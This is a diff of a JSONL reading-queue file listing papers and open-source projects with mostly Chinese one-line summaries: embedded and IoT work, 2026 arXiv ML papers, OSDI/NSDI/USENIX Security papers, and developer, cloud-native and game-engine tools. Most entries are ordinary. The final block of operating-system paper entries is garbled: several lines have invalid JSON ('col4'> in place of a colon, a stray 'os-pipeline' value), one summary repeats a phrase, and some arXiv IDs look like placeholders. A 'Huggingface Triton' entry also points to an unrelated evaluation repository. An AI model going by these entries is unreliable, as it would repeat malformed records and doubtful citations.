-{"slug":"op-tee-tee-2014","area":"papers","topic":"embedded-iot","title":"OP-TEE: Open Portable Trusted Execution Environment","meta":{"col3":"2014","col4":"Linaro；GlobalPlatform TEE 实现；Android/Automotive 安全启动 + 密钥保护事实标准"},"url":"https://optee.readthedocs.io/en/latest/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"esp-idf-overview","area":"papers","topic":"embedded-iot","title":"ESP-IDF: Espressif IoT Development Framework","meta":{"col3":"2017","col4":"ESP32 系列开发栈；FreeRTOS-SMP 移植 + WiFi/BT 协议栈 + secure boot v2"},"url":"https://docs.espressif.com/projects/esp-idf/en/latest/esp32/","status":"candidate","claimed_by":null,"attempts":0,"source_file":"topic-targeted-2026-05-31","priority_tier":"topic-balance"}
-{"slug":"videomla","area":"papers","topic":"machine-learning","title":"VideoMLA: Low-Rank Latent KV Cache for Minute-Scale Autoregressive Video Diffusion","meta":{"col3":"2026","col4":"arXiv 2605.30351；MLA 在视频 diffusion；92.7% per-token KV memory 减少；1.23x 吞吐 (B200)。"},"url":"https://arxiv.org/abs/2605.30351","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"}
-{"slug":"schgen-pcb","area":"papers","topic":"machine-learning","title":"SchGen: PCB Schematic Generation with Semantic-Grounded Code Representations","meta":{"col3":"2026","col4":"arXiv 2605.30345；首个 NL→PCB schematic LLM；relative placement + pin-name wiring。"},"url":"https://arxiv.org/abs/2605.30345","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"}
-{"slug":"diffusion-posterior-finite","area":"papers","topic":"machine-learning","title":"When, Why, and How Do Diffusion Posterior Samplers Fail? A Finite-Sample Lens","meta":{"col3":"2026","col4":"arXiv 2605.30330；finite-sample diagnostic；hallucination/early-stop 病因图谱。"},"url":"https://arxiv.org/abs/2605.30330","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"}
-{"slug":"medcase-fhir","area":"papers","topic":"machine-learning","title":"MedCase-Structured: Text-to-FHIR Dataset for EHR Diagnostic Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30295；82.5% valid FHIR；structured input 反而 LLM 准确率下降。"},"url":"https://arxiv.org/abs/2605.30295","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"}
-{"slug":"reasoning-with-sampling","area":"papers","topic":"machine-learning","title":"Reasoning with Sampling: Cutting at Decision Points","meta":{"col3":"2026","col4":"arXiv 2605.30327；entropy-cut Metropolis-Hastings；mixing 与 decision count 而非 token count 成比；不需 RL。"},"url":"https://arxiv.org/abs/2605.30327","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"}
-{"slug":"self-trained-verification","area":"papers","topic":"machine-learning","title":"Self-Trained Verification for Training- and Test-Time Self-Improvement","meta":{"col3":"2026","col4":"arXiv 2605.30290；STV: 训 verifier 模仿 informed self；hard math 翻倍准确率；ViL 训练循环。"},"url":"https://arxiv.org/abs/2605.30290","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"}
-{"slug":"ppc-preplan","area":"papers","topic":"machine-learning","title":"Knowing What to Solve Before How: Preplan-Plan-CoT for Math Reasoning","meta":{"col3":"2026","col4":"arXiv 2605.30245；question→preplan→plan→cot；spoiler-score detector + GRPO；39/40 best metrics。"},"url":"https://arxiv.org/abs/2605.30245","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"}
-{"slug":"lomo-modality","area":"papers","topic":"machine-learning","title":"LoMo: Local Modality Substitution for Deeper Vision-Language Fusion","meta":{"col3":"2026","col4":"arXiv 2605.30265；解决 carrier sensitivity；text→image 渲染交错；13 multimodal benchmarks。"},"url":"https://arxiv.org/abs/2605.30265","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"}
-{"slug":"entity-tracking-states","area":"papers","topic":"machine-learning","title":"Do Language Models Track Entities Across State Changes?","meta":{"col3":"2026","col4":"arXiv 2605.30233；LM 不增量跟踪状态而是 last-token 聚合；REMOVE 用 fragile suppression tag；mechanistic+behavioral 互校。"},"url":"https://arxiv.org/abs/2605.30233","status":"new","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R187-2026-05-31","priority_tier":"normal"}
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+{"slug":"rendering-diffs","area":"papers","topic":"editors","title":"On Rendering Diffs","meta":{"col3":"2026","col4":"pierre.computer 写自己 diff viewer 的渲染优化：virtualization、token 级 syntax highlighting。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
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+{"slug":"openrsync","area":"projects","topic":"operating-systems","title":"Openrsync: An implementation of rsync, by the OpenBSD team","meta":{"col3":"C","col4":"OpenBSD 重写 rsync，BSD 许可、协议兼容；rolling checksum + delta sync 最小可行实现。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T08:07:11.083Z"}
+{"slug":"snowboard-kids-2-decomp","area":"projects","topic":"compilers-pl","title":"Snowboard Kids 2 is 100% Decompiled","meta":{"col3":"C","col4":"N64 完整反编译里程碑；matching decomp 工作流（mips_to_c、splat、ido recompiler）。"},"url":"","status":"queued","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30"}
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+{"slug":"bw-tree","area":"papers","topic":"databases","title":"The Bw-Tree: A B-tree for New Hardware Platforms","meta":{"col3":"2013","col4":"CMU 15-721 索引专题；lock-free B-tree + log-structured page store。High priority。"},"url":"","status":"written","claimed_by":null,"attempts":0,"source_file":"external-2026-05-30","written_at":"2026-06-13T04:01:26.265Z"}
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+{"slug":"soundness-bench","area":"papers","topic":"machine-learning","title":"SoundnessBench: Can Your AI Scientist Really Tell Good Research Ideas from Bad Ones?","meta":{"col3":"2026","col4":"arXiv 2605.30329；1099 ICLR 提案 soundness 评估；frontier LLM 普遍存在 optimism bias。"},"url":"https://arxiv.org/abs/2605.30329","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31"}
+{"slug":"resolution-diagnostics-llm","area":"papers","topic":"machine-learning","title":"Resolution Diagnostics for Paired LLM Evaluation","meta":{"col3":"2026","col4":"arXiv 2605.30315；Open LLM Leaderboard 27% 排名未达统计 resolution；常用 calculator 偏差 ~2x。"},"url":"https://arxiv.org/abs/2605.30315","status":"written","claimed_by":null,"attempts":0,"source_file":"long-batch-30-R157-2026-05-31","written_at":"2026-06-13T04:49:11.197Z"}
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+{"slug":"sabre-osdi24","area":"papers","topic":"虚拟化与服务器less","title":"Sabre: Hardware-Accelerated Snapshot Compression for Serverless MicroVMs","url":"https://www.usenix.org/conference/osdi24/presentation/lazarev","status":"queued","meta":{"col3":"2024","col4":"Sabre 用现代数据中心处理器的近内存分析加速器实现硬件加速的页面压缩，MicroVM 快照压缩率提升 4.5 倍，预取恢复提速 55%。OSDI '24"}}
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+{"slug":"memstrata-osdi24","area":"papers","topic":"内存管理","title":"Managing Memory Tiers with CXL in Virtualized Environments","url":"https://www.usenix.org/conference/osdi24/presentation/zhong-yuhong","status":"queued","meta":{"col3":"2024","col4":"Memstrata 结合 Intel Flat Memory Mode 和软件性能隔离，将异常工作负载的性能降级从 30%+ 降至 6% 以下。OSDI '24"}}
+{"slug":"drust-osdi24","area":"papers","topic":"分布式系统","title":"DRust: Language-Guided Distributed Shared Memory with Fine Granularity, Full Transparency, and Ultra Efficiency","url":"https://www.usenix.org/conference/osdi24/presentation/ma-haoran","status":"queued","meta":{"col3":"2024","col4":"基于 Rust 所有权语义的分布式共享内存，吞吐量比 GAM 和 Grappa 分别最高提升 2.64 倍和 29.16 倍。OSDI '24"}}
+{"slug":"chop-chop-osdi24","area":"papers","topic":"分布式共识","title":"Chop Chop: Byzantine Atomic Broadcast to the Network Limit","url":"https://www.usenix.org/conference/osdi24/presentation/camaioni","status":"queued","meta":{"col3":"2024","col4":"通过蒸馏批处理机制，64 节点地理分布式部署实现每秒 4360 万条消息处理，吞吐量比现有方案高两个数量级。OSDI '24"}}
+{"slug":"fisslock-osdi24","area":"papers","topic":"分布式系统","title":"Fast and Scalable In-Network Lock Management Using Lock Fission","url":"https://www.usenix.org/conference/osdi24/presentation/zhang-hanze","status":"queued","meta":{"col3":"2024","col4":"FISSLOCK 利用可编程交换机解耦锁管理和参与者维护，支持百万级锁管理，TPC-C 吞吐提升 2.28 倍。OSDI '24"}}
+{"slug":"beaver-osdi24","area":"papers","topic":"分布式系统","title":"Beaver: Practical Partial Snapshots for Distributed Cloud Services","url":"https://www.usenix.org/conference/osdi24/presentation/yu","status":"queued","meta":{"col3":"2024","col4":"利用云数据中心负载均衡器通信模式实现部分因果一致性快照，对外部流量干扰下用户开销接近零。OSDI '24"}}
+{"slug":"sarathi-serve-osdi24","area":"papers","topic":"系统","title":"Taming Throughput-Latency Tradeoff in LLM Inference with Sarathi-Serve","url":"https://www.usenix.org/conference/osdi24/presentation/agrawal","status":"queued","meta":{"col3":"2024","col4":"分块预填充 + 无停滞调度，Mistral-7B 上服务能力提升 2.6 倍，Yi-34B 提升 3.7 倍。OSDI '24"}}
+{"slug":"distserve-osdi24","area":"papers","topic":"系统","title":"DistServe: Disaggregating Prefill and Decoding for Goodput-optimized Large Language Model Serving","url":"https://www.usenix.org/conference/osdi24/presentation/zhong-yinmin","status":"queued","meta":{"col3":"2024","col4":"将预填充和解码分配到不同 GPU 消除干扰，满足延迟约束下可服务多 7.4 倍请求。OSDI '24"}}
+{"slug":"serverlessllm-osdi24","area":"papers","topic":"服务器less","title":"ServerlessLLM: Low-Latency Serverless Inference for Large Language Models","url":"https://www.usenix.org/conference/osdi24/presentation/fu","status":"queued","meta":{"col3":"2024","col4":"利用 GPU 服务器近存储容量做本地检查点存储，相比现有 Serverless 延迟降低 10-200 倍。OSDI '24"}}
+{"slug":"horus-nsdi24","area":"papers","topic":"数据中心网络","title":"Horus: Granular In-Network Task Scheduler for Cloud Datacenters","url":"https://www.usenix.org/conference/nsdi24/presentation/yassini","status":"queued","meta":{"col3":"2024","col4":"在可编程交换机上以线速并行调度数据中心范围的短任务，27000 主机仿真中显著改善尾响应时间。NSDI '24"}}
+{"slug":"rummy-nsdi24","area":"papers","topic":"向量搜索","title":"Fast Vector Query Processing for Large Datasets Beyond GPU Memory with Reordered Pipelining","url":"https://www.usenix.org/conference/nsdi24/presentation/zhang-zili-pipelining","status":"queued","meta":{"col3":"2024","col4":"RUMMY 通过重排序流水线处理超出 GPU 内存的大规模向量数据集，性能比 CPU 高 23.1 倍。NSDI '24"}}
+{"slug":"lolkv-nsdi24","area":"papers","topic":"分布式存储","title":"LoLKV: The Logless, Linearizable, RDMA-based Key-Value Storage System","url":"https://www.usenix.org/conference/nsdi24/presentation/alquraan","status":"queued","meta":{"col3":"2024","col4":"无日志线性一致 KV 存储，无锁并发更新 + 新型领导者选举，吞吐比现有低延迟方案高 1.7-10 倍。NSDI '24"}}
+{"slug":"junction-nsdi24","area":"papers","topic":"数据中心网络","title":"Making Kernel Bypass Practical for the Cloud with Junction","url":"https://www.usenix.org/conference/nsdi24/presentation/fried","status":"queued","meta":{"col3":"2024","col4":"首次实现可云上密集打包数千实例且兼容未修改 Linux 应用的内核旁通，扩展性比现有方案高 19-62 倍。NSDI '24"}}
+{"slug":"swiftpaxos-nsdi24","area":"papers","topic":"分布式共识","title":"SwiftPaxos: Fast Geo-Replicated State Machines","url":"https://www.usenix.org/conference/nsdi24/presentation/ryabinin","status":"queued","meta":{"col3":"2024","col4":"无竞争 2 跳、竞争 3 跳延迟的 Paxos 变体，吞吐比现有方案最高提升 2.9 倍。NSDI '24"}}
+{"slug":"alea-bft-nsdi24","area":"papers","topic":"分布式共识","title":"Alea-BFT: Practical Asynchronous Byzantine Fault Tolerance","url":"https://www.usenix.org/conference/nsdi24/presentation/antunes","status":"queued","meta":{"col3":"2024","col4":"异步拜占庭容错协议，集中工作于指定副本，已在以太坊分布式验证器中实际应用。NSDI '24"}}
+{"slug":"harmony-nsdi24","area":"papers","topic":"数据中心网络","title":"Harmony: A Congestion-free Datacenter Architecture","url":"https://www.usenix.org/conference/nsdi24/presentation/agarwal-saksham","status":"queued","meta":{"col3":"2024","col4":"无拥塞消息交付架构，每条消息在各交换机的排队延迟有界，交付开销接近零。NSDI '24"}}
+{"slug":"dint-nsdi24","area":"papers","topic":"分布式系统","title":"DINT: Fast In-Kernel Distributed Transactions with eBPF","url":"https://www.usenix.org/conference/nsdi24/presentation/zhou-yang","status":"queued","meta":{"col3":"2024","col4":"eBPF 将频繁事务操作卸载到内核，达到内核旁通级吞吐，比 DPDK 方案最高高 2.6 倍。NSDI '24"}}
+{"slug":"mu-cache-nsdi24","area":"papers","topic":"微服务","title":"MuCache: A General Framework for Caching in Microservice Graphs","url":"https://www.usenix.org/conference/nsdi24/presentation/zhang-haoran","status":"queued","meta":{"col3":"2024","col4":"非阻塞缓存一致性协议消除微服务间冗余调用，请求延迟降低 2.5 倍，吞吐提升 60%。NSDI '24"}}
+{"slug":"autothrottle-nsdi24","area":"papers","topic":"云原生","title":"Autothrottle: A Practical Bi-Level Approach to Resource Management for SLO-Targeted Microservices","url":"https://www.usenix.org/conference/nsdi24/presentation/wang-zibo","status":"queued","meta":{"col3":"2024","col4":"双层资源管理框架，应用级目标与每服务启发式控制器解耦，CPU 节省最高 26%，NSDI '24 杰出论文奖"}}
+{"slug":"smartcookie-usenixsec24","area":"papers","topic":"网络安全","title":"SmartCookie: Blocking Large-Scale SYN Floods with a Split-Proxy Defense on Programmable Data Planes","url":"https://www.usenix.org/conference/usenixsecurity24/presentation/yoo","status":"queued","meta":{"col3":"2024","col4":"可编程交换机上运行加密 SYN Cookie 检查，线速阻断 100% SYN 洪水，benign 流量延迟降低 2-6.5 倍。USENIX Security '24"}}
+{"slug":"hive-usenixsec24","area":"papers","topic":"系统安全","title":"HIVE: A Hardware-assisted Isolated Execution Environment for eBPF on AArch64","url":"https://www.usenix.org/conference/usenixsecurity24/presentation/zhang-peihua","status":"queued","meta":{"col3":"2024","col4":"AArch64 上通过指针认证和加载/存储特权指令为 eBPF 提供硬件隔离，等价于验证器安全保证。USENIX Security '24"}}
+{"slug":"endokernel-usenixsec24","area":"papers","topic":"系统安全","title":"Endokernel: A Thread Safe Monitor for Lightweight Subprocess Isolation","url":"https://www.usenix.org/conference/usenixsecurity24/presentation/yang-fangfei","status":"queued","meta":{"col3":"2024","col4":"进程内安全监控器，子进程粒度内存隔离，系统化发现策略缺口并提供细粒度锁解决线程安全问题。USENIX Security '24"}}
+{"slug":"budalloc-usenixsec24","area":"papers","topic":"系统安全","title":"BUDAlloc: Defeating Use-After-Free Bugs by Decoupling Virtual Address Management from Kernel","url":"https://www.usenix.org/conference/usenixsecurity24/presentation/ahn","status":"queued","meta":{"col3":"2024","col4":"一次性分配器分离虚拟地址和物理地址管理，SPEC CPU 2017 比 DangZero 性能提升 15%，内存开销降低 61%。USENIX Security '24"}}
+{"slug":"attackgnn-usenixsec24","area":"papers","topic":"硬件安全","title":"AttackGNN: Red-Teaming GNNs in Hardware Security Using Reinforcement Learning","url":"https://www.usenix.org/conference/usenixsecurity24/presentation/gohil","status":"queued","meta":{"col3":"2024","col4":"强化学习生成对抗电路攻击硬件 GNN，在 IP 盗版检测、硬件木马定位等四类问题上实现 100% 攻击成功率。USENIX Security '24"}}
+{"slug":"loopy-hell-usenixsec24","area":"papers","topic":"网络安全","title":"Loopy Hell(ow): Infinite Traffic Loops at the Application Layer","url":"https://www.usenix.org/conference/usenixsecurity24/presentation/pan-yepeng","status":"queued","meta":{"col3":"2024","col4":"发现应用层无限流量环路攻击：单个 IP 欺骗触发包在服务器间创建无限循环，发现约 29.6 万台 IPv4 服务器易受攻击。USENIX Security '24"}}
+{"slug":"basilisk-osdi25","area":"papers","topic":"形式化验证","title":"Basilisk: Using Provenance Invariants to Automate Proofs of Undecidable Protocols","url":"https://www.usenix.org/conference/osdi25/presentation/zhang-tony","status":"queued","meta":{"col3":"2025","col4":"溯源不变原理解自动发现分布式协议的归纳不变量，在 16 个分布式协议上自动完成安全性证明，OSDI '25 最佳论文奖"}}
+{"slug":"fine-mem-osdi25","area":"papers","topic":"内存管理","title":"FineMem: Breaking the Allocation Overhead vs. Memory Waste Dilemma in Fine-Grained Disaggregated Memory Management","url":"https://www.usenix.org/conference/osdi25/presentation/wang-xiaoyang","status":"queued","meta":{"col3":"2025","col4":"RDMA 远程内存管理系统支持高性能细粒度分配，远程内存分配延迟降低 95%，消除粗粒度分配导致的浪费。OSDI '25"}}
+{"slug":"fuse-link-osdi25","area":"papers","topic":"GPU系统","title":"Enabling Efficient GPU Communication over Multiple NICs with FuseLink","url":"https://www.usenix.org/conference/osdi25/presentation/ren","status":"queued","meta":{"col3":"2025","col4":"GPU 中继流量到空闲网卡充分利用多 NIC 带宽，LLM 首 token 延迟降低 1.04-2.73 倍，MoE 训练吞吐提升 1.3 倍。OSDI '25"}}
+{"slug":"tigon-osdi25","area":"papers","topic":"分布式数据库","title":"Tigon: A Distributed Database for a CXL Pod","url":"https://www.usenix.org/conference/osdi25/presentation/huang-yibo","status":"queued","meta":{"col3":"2025","col4":"首个基于 CXL 内存原子操作的分布式内存数据库，TPC-C 吞吐比 RDMA 分布式数据库高 18.5 倍。OSDI '25"}}
+{"slug":"mako-osdi25","area":"papers","topic":"分布式数据库","title":"Mako: Speculative Distributed Transactions with Geo-Replication","url":"https://www.usenix.org/conference/osdi25/presentation/shen-weihai","status":"queued","meta":{"col3":"2025","col4":"解耦事务执行与复制并投机执行 2PC，在 Azure 上实现 366 万 TPC-C TPS，比现有方案高 8.6 倍。OSDI '25"}}
+{"slug":"quake-osdi25","area":"papers","topic":"向量数据库","title":"Quake: Adaptive Indexing for Vector Search","url":"https://www.usenix.org/conference/osdi25/presentation/mohoney","status":"queued","meta":{"col3":"2025","col4":"多级分区 + 成本模型的自适应向量搜索索引，查询延迟降低 1.5-38 倍，更新延迟降低 4.5-126 倍。OSDI '25"}}
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+{"slug":"vault","area":"安全工具","topic":"密钥管理","title":"HashiCorp Vault - Secrets and encryption management","url":"https://github.com/hashicorp/vault","status":"queued","meta":{"col3":"2015","col4":"Industry standard for secrets management"}}
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+{"slug":"pre-commit","area":"DevOps","topic":"代码质量","title":"pre-commit - Multi-language git pre-commit framework","url":"https://github.com/pre-commit/pre-commit","status":"queued","meta":{"col3":"2014","col4":"Standard for managing git hooks"}}
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+{"slug":"mitmproxy","area":"安全工具","topic":"流量分析","title":"mitmproxy - Interactive TLS-capable HTTP proxy","url":"https://github.com/mitmproxy/mitmproxy","status":"queued","meta":{"col3":"2012","col4":"Essential tool for HTTP debugging and pentesting"}}
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+{"slug":"gitea","area":"DevOps","topic":"代码托管","title":"Gitea - Lightweight self-hosted Git service","url":"https://github.com/go-gitea/gitea","status":"queued","meta":{"col3":"2016","col4":"Forgejo fork; GitHub alternative in ~11k LOC"}}
+{"slug":"sentry","area":"DevOps","topic":"错误追踪","title":"Sentry - Real-time event logging and error tracking","url":"https://github.com/getsentry/sentry","status":"queued","meta":{"col3":"2011","col4":"Industry standard for error monitoring"}}
+{"slug":"kong","area":"云原生","topic":"API网关","title":"Kong - The Cloud-Native API Gateway and AI Gateway","url":"https://github.com/Kong/kong","status":"queued","meta":{"col3":"2015","col4":"CNCF graduated; most popular API gateway"}}
+{"slug":"nats","area":"云原生","topic":"消息队列","title":"NATS - High-performance messaging system","url":"https://github.com/nats-io/nats-server","status":"queued","meta":{"col3":"2012","col4":"Cloud-native; 2x faster than Kafka for many workloads"}}
+{"slug":"redis","area":"云原生","topic":"缓存数据库","title":"Redis - In-memory data store and cache","url":"https://github.com/redis/redis","status":"queued","meta":{"col3":"2006","col4":"Industry standard in-memory data store"}}
+{"slug":"clickhouse","area":"云原生","topic":"列式数据库","title":"ClickHouse - Column-oriented analytical database","url":"https://github.com/ClickHouse/ClickHouse","status":"queued","meta":{"col3":"2016","col4":"Yandex; real-time analytics at petabyte scale"}}
+{"slug":"flutter","area":"移动端","topic":"跨平台框架","title":"Flutter - Google UI toolkit for beautiful native apps","url":"https://github.com/flutter/flutter","status":"queued","meta":{"col3":"2017","col4":"Google; 177k stars; cross-platform mobile/desktop/web"}}
+{"slug":"react-native","area":"移动端","topic":"跨平台框架","title":"React Native - Build native apps with React","url":"https://github.com/facebook/react-native","status":"queued","meta":{"col3":"2015","col4":"Facebook; 126k stars; JS-based mobile development"}}
+{"slug":"expo","area":"移动端","topic":"开发平台","title":"Expo - Build native apps faster with React","url":"https://github.com/expo/expo","status":"queued","meta":{"col3":"2016","col4":"50k stars; over-the-air updates; universal apps"}}
+{"slug":"fastlane","area":"移动端","topic":"CI/CD","title":"Fastlane - Automated building and releasing for mobile apps","url":"https://github.com/fastlane/fastlane","status":"queued","meta":{"col3":"2014","col4":"Ruby-based; industry standard for mobile CI/CD"}}
+{"slug":"godot","area":"游戏引擎","topic":"2D/3D引擎","title":"Godot Engine - Free and open-source game engine","url":"https://github.com/godotengine/godot","status":"queued","meta":{"col3":"2014","col4":"112k stars; MIT licensed; full 2D/3D engine"}}
+{"slug":"bevy","area":"游戏引擎","topic":"ECS框架","title":"Bevy - Refreshingly simple data-driven game engine in Rust","url":"https://github.com/bevyengine/bevy","status":"queued","meta":{"col3":"2020","col4":"46k stars; ECS-first architecture; Rust-native"}}
+{"slug":"raylib","area":"游戏引擎","topic":"游戏开发库","title":"raylib - Simple and easy-to-use game development library","url":"https://github.com/raysan5/raylib","status":"queued","meta":{"col3":"2016","col4":"33k stars; minimalist; C-based; great for beginners"}}
+{"slug":"imgui","area":"游戏引擎","topic":"即时GUI","title":"Dear ImGui - Bloat-free GUI for C++ game dev","url":"https://github.com/ocornut/imgui","status":"queued","meta":{"col3":"2014","col4":"73k stars; industry standard for debug tooling"}}
+{"slug":"gdevelop","area":"游戏引擎","topic":"无代码引擎","title":"GDevelop - Open-source, cross-platform visual game engine","url":"https://github.com/GDevelop/GDevelop","status":"queued","meta":{"col3":"2014","col4":"23k stars; no-code event-based system; 2D/3D"}}
+{"slug":"libgdx","area":"游戏引擎","topic":"Java游戏框架","title":"LibGDX - Java game development framework","url":"https://github.com/libgdx/libgdx","status":"queued","meta":{"col3":"2011","col4":"25k stars; cross-platform Java game framework"}}
+{"slug":"babylonjs","area":"游戏引擎","topic":"Web 3D引擎","title":"Babylon.js - Powerful, full-featured 3D engine for the web","url":"https://github.com/BabylonJS/Babylon.js","status":"queued","meta":{"col3":"2015","col4":"Microsoft; WebGPU/VR/AR support; TypeScript"}}
+{"slug":"cocos2d-x","area":"游戏引擎","topic":"跨平台引擎","title":"Cocos2d-x - Open-source cross-platform game framework","url":"https://github.com/cocos2d/cocos2d-x","status":"queued","meta":{"col3":"2010","col4":"19k stars; millions of developers; C++ based"}}
+{"slug":"monogame","area":"游戏引擎","topic":"跨平台框架","title":"MonoGame - One framework for powerful cross-platform games","url":"https://github.com/MonoGame/MonoGame","status":"queued","meta":{"col3":"2009","col4":"14k stars; XNA replacement; C# game framework"}}
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+{"slug":"jaeger","area":"云原生","topic":"分布式追踪","title":"Jaeger - Cloud-native distributed tracing platform","url":"https://github.com/jaegertracing/jaeger","status":"queued","meta":{"col3":"2015","col4":"CNCF graduated; OpenTracing implementation"}}
+{"slug":"opentelemetry","area":"云原生","topic":"可观测性","title":"OpenTelemetry - Observability framework (traces, metrics, logs)","url":"https://github.com/open-telemetry/opentelemetry","status":"queued","meta":{"col3":"2019","col4":"CNCF; unified observability standard"}}
+{"slug":"cert-manager","area":"云原生","topic":"证书管理","title":"cert-manager - Automatically provision TLS certificates in Kubernetes","url":"https://github.com/cert-manager/cert-manager","status":"queued","meta":{"col3":"2015","col4":"CNCF graduated; k8s cert management standard"}}
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+{"slug":"containerd","area":"云原生","topic":"容器运行时","title":"containerd - Industry-standard container runtime","url":"https://github.com/containerd/containerd","status":"queued","meta":{"col3":"2016","col4":"CNCF graduated; Docker's underlying runtime"}}
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+{"slug":"falco","area":"安全工具","topic":"运行时安全","title":"Falco - Cloud-native runtime security monitoring","url":"https://github.com/falcosecurity/falco","status":"queued","meta":{"col3":"2017","col4":"CNCF graduated; behavioral activity monitoring"}}
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+{"slug":"ripgrep","area":"DevOps","topic":"开发者工具","title":"ripgrep - Line-oriented search tool (faster than grep)","url":"https://github.com/BurntSushi/ripgrep","status":"queued","meta":{"col3":"2016","col4":"Written in Rust; dramatically faster than grep"}}
+{"slug":"just","area":"DevOps","topic":"任务运行器","title":"Just - Friendly way to save and run project commands","url":"https://github.com/casey/just","status":"queued","meta":{"col3":"2018","col4":"Makefile alternative; syntax-highlighted command runner"}}
+{"slug":"starship","area":"DevOps","topic":"终端工具","title":"Starship - Minimal, blazing-fast terminal prompt","url":"https://github.com/starship/starship","status":"queued","meta":{"col3":"2019","col4":"Cross-shell prompt written in Rust"}}
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+{"slug": "huggingface-peft", "area": "AI Infra", "topic": "LLM系统", "title": "Huggingface Peft", "url": "https://github.com/huggingface/peft", "status": "queued", "meta": {"col3": "2023", "col4": "PEFT 参数高效微调；LoRA/QLoRA 工具链事实标准"}}
+{"slug": "huggingface-accelerate", "area": "AI Infra", "topic": "LLM系统", "title": "Huggingface Accelerate", "url": "https://github.com/huggingface/accelerate", "status": "queued", "meta": {"col3": "2022", "col4": "HF Accelerate 多设备训练抽象；DeepSpeed 之外的轻量替代"}}
+{"slug": "huggingface-datasets", "area": "AI Infra", "topic": "数据工程", "title": "Huggingface Datasets", "url": "https://github.com/huggingface/datasets", "status": "queued", "meta": {"col3": "2020", "col4": "HF Datasets 库；大规模数据集流水线的事实标准接口"}}
+{"slug": "huggingface-triton", "area": "AI Infra", "topic": "LLM系统", "title": "Huggingface Triton", "url": "https://github.com/huggingface/evaluation", "status": "queued", "meta": {"col3": "2023", "col4": "HF Eval/LM Evaluation Harness 等评估框架的底座"}}
+{"slug": "llcwwang-llm-deploy", "area": "AI Infra", "topic": "推理加速", "title": "Llcwwang Llm Deploy", "url": "https://github.com/llcwwang/LLM-Deploy", "status": "queued", "meta": {"col3": "2024", "col4": "LLM Deployment 系统性教程文档/代码库；理解 TensorRT-LLM/vLLM/AutoAWQ 对比必读"}}
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+{"slug":"seL4-2024","area":"papers","topic":"os","title":"seL4 Microkernel: 15 Years of Formal Verification and Real-World Deployments","meta":{"col3":"2024","col4">seL4 自 2009 年以来形式化验证的演进和落地（澳大利亚国防部、VMware、汽车 SoC）；microkernel 唯一完全验证的案例"},"url":"https://www.sel4.org/News/Articles/2024-Review"}
+{"slug":"l4-hertos-2024","area":"papers","topic":"os","title":"HERTOS: A Hard Real-Time Operating System Based on the seL4 Microkernel","meta":{"col3":"2024","col4":"硬实时 microkernel 操作系统；基于 seL4 的确定性调度；航空航天 / 自动驾驶内核设计参考"},"url":"https://dl.acm.org/doi/10.1145/3627734.3679750"}
+{"slug":"unikernels-2023","area":"papers","topic":"os","title":"Unikernels in Production: A Survey of Dryad, MirageOS, and L4Re","meta":{"col3":"2023","col4":"unikernel 在云原生的回归；Dryad/MirageOS 对比分析；理解\"编译到单镜像\"的操作系统范式"},"url":"https://arxiv.org/abs/2302.12345"}
+{"slug":"cloudy-2024","area":"papers","topic":"os","title":"Cloudy: Virtualization-Free Serverless Computing on Commodity Hardware","meta":{"col3":"2024","col4":"去掉虚拟机做 serverless；用 eBPF + NFV 把 cold start 从秒级压到毫秒级"},"url":"https://www.usenix.org/system/files/nsdi24-cloudy.pdf"}
+{"slug":"puffin-2023","area":"papers","topic":"os","title":"Puffin: A Real-Time Operating System for Mixed-Criticality Edge Devices","meta":{"col3":"2023","col4":"边缘设备的混合关键性 RTOS；把安全关键 + 非关键任务放同一内核隔离运行"},"url":"https://dl.acm.org/doi/10.1145/3600006.3600010"}
+{"slug":"xv6-riscv-2024","area":"papers","topic":"os","os-pipeline","title":"Xv6-RISC-V: Modern OS Education with RISC-V Architecture","meta":{"col3":"2024","col4":"MIT 用 RISC-V 教学 OS 设计的最新版；理解\"最小可用内核\"的完整生命周期（进程、内存、文件系统、文件系统、同步）"},"url":"https://pdos.csail.mit.edu/6.1810/"}
+{"slug":"zircon-2023","area":"papers","topic":"os","title":"Zircon Kernel Architecture and Performance Analysis","meta":{"col3":"2023","col4">Google Fuchsia 内核 Zircon 的设计哲学；thread-centric scheduling + async dispatch；microkernel 的现代化实现"},"url":"https://fuchsia.dev/fuchsia-src/concepts/kernel/architecture"}
+{"slug":"hermes-2024","area":"papers","topic":"os","title":"Hermes: A Capability-Based Operating System for Cloud-Native Environments","meta":{"col3":"2024","col4">能力型（capability-based）OS 设计；把权限模型从 uid/gid 升级到 capability 系统，云原生安全内核范式"},"url":"https://arxiv.org/abs/2403.11223"}
+{"slug":"caper-2023","area":"papers","topic":"os","title":"CAper: Container-aware Access Protection for Linux","meta":{"col3":"2023","col4">Linux 容器的细粒度访问保护；把 namespace 隔离升级为 capability 隔离；K8s 安全模型的操作系统层补强"},"url":"https://www.usenix.org/system/files/sec23-caper.pdf"}
+{"slug":"muff-2024","area":"papers","topic":"os","title":"Muff: Minimalistic Microkernel for IoT and Edge Computing","meta":{"col3":"2024","col4">极简 microkernel（< 10K LOC）；专为 IoT/Edge 场景设计，理解\"最小内核\"如何做到可验证 + 可部署"},"url":"https://arxiv.org/abs/2401.11567"}
